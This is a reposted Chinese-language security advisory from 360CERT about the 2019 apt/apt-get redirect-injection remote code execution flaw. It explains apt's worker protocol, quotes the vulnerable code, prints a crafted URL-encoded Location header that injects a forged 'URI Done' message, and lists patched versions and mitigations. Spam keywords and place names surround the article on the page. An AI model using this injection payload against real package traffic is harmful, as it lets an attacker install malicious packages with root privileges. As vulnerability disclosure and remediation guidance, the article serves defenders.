中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的

發布時間:2021-12-20 19:26:51 來源:億速云 閱讀:190 作者:柒染 欄目:大數據

這篇文章將為大家詳細講解有關Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

0x00 漏洞背景

2019年1月22日 @Max Justicz 在其博客中公開了有關于 debian 系包管理器apt/apt-get 遠程代碼執行的一些細節。當通過 APT 進行任意軟件的安裝、更新等,默認會走 HTTP 而非 HTTPS,攻擊者可以通過中間人劫持等手法劫持 HTTP 流量,并通過重定向及相關響應頭的構造,完美構造合法的安裝包簽名,以此繞過 APT 本地簽名的判斷。攻擊一旦觸發,便可導致目標服務器的 root 權限被拿下。

360CERT 判斷該漏洞危害嚴重,影響面有限。建議使用Debain系發行版的用戶及時進行apt 軟件的更新或者對服務器進行流量自查。

0x01 漏洞詳情

在獲取數據時,apt會fork出worker進程用于數據傳輸。父進程使用類似于HTTP的協議通過stdin/stdout與這些worker進程進行通信,告訴它們下載什么以及將下載的內容放在文件系統的什么位置上。例如,當apt install cowsay時fork出/usr/lib/apt/methods/http,返回一條100 Capabilities消息:

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

父進程會發送它的設置并且請求一個資源:

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

然后worker進程的響應像下面這樣:

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

當HTTP服務器返回redirect重定向時,worker進程返回103 Redirect而不是201 URI Done,然后父進程使用這個響應來確定接下來應該請求的資源:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞在于對Location進行URL解碼后就將其直接將其附加到103 Redirect響應中,造成了注入。

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
  std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
            << "New-URI: " << NewURI << "\n"
            << "\n" << std::flush;
  Dequeue();
}

如果HTTP服務器返回的Location為:

Location: /new-uri%0AFoo%3A%20Bar

則響應包如下:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

那么再進一步構造:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

就會形成具有危害的情況:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

這時apt就會受到攻擊者的控制,安裝指定的package并且可以完美通過校驗步驟,進而導致apt/apt-get安裝到非官方源中的package。而由于apt/apt-get一般情況下只能由權限相對較高的用戶執行,進而導致惡意的package可以任意執行代碼/命令。

0x02 補丁分析

AcqMethod::Redirect函數通過對NewURI中的字符進行校驗來修復該漏洞。

Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的

Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的

0x03 修復建議

Debain 可以通過添加 security 分支的源進行更新,主分支還受到影響

Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的

確保 /etc/sources.list 含有如下字段

deb http://deb.debian.org/debian-security/ {發行版編號例如stretch}/updates main
deb-src http://deb.debian.org/debian-security/ {發行版編號例如stretch}/updates main

再執行apt update && apt-get install apt 即可完成修復更新

Ubunutu 可以進行軟件包版本升級

對應系統升級到如下版本:

  • Ubuntu 18.10 apt - 1.7.0ubuntu0.1

  • Ubuntu 18.04 LTS apt - 1.6.6ubuntu0.1

  • Ubuntu 16.04 LTS apt - 1.2.29ubuntu0.1

  • Ubuntu 14.04 LTS apt - 1.0.1ubuntu2.19

或者在更新時禁用 HTTP 重定向:

$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

再者可以使用完全由 https 構成的源進行更新

關于Linux包管理器apt/apt-get遠程代碼執行漏洞預警是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

垦利县| 诸暨市| 沅陵县| 扎鲁特旗| 海宁市| 昌乐县| 衡山县| 新昌县| 抚宁县| 台前县| 天祝| 正镶白旗| 广平县| 双峰县| 都匀市| 桦甸市| 巴中市| 台江县| 清水县| 天峻县| 道真| 台南县| 昌黎县| 乌审旗| 永新县| 德化县| 延吉市| 大石桥市| 土默特左旗| 双城市| 涿鹿县| 平谷区| 敦煌市| 虞城县| 侯马市| 资阳市| 湖州市| 玉溪市| 进贤县| 桃园市| 木兰县|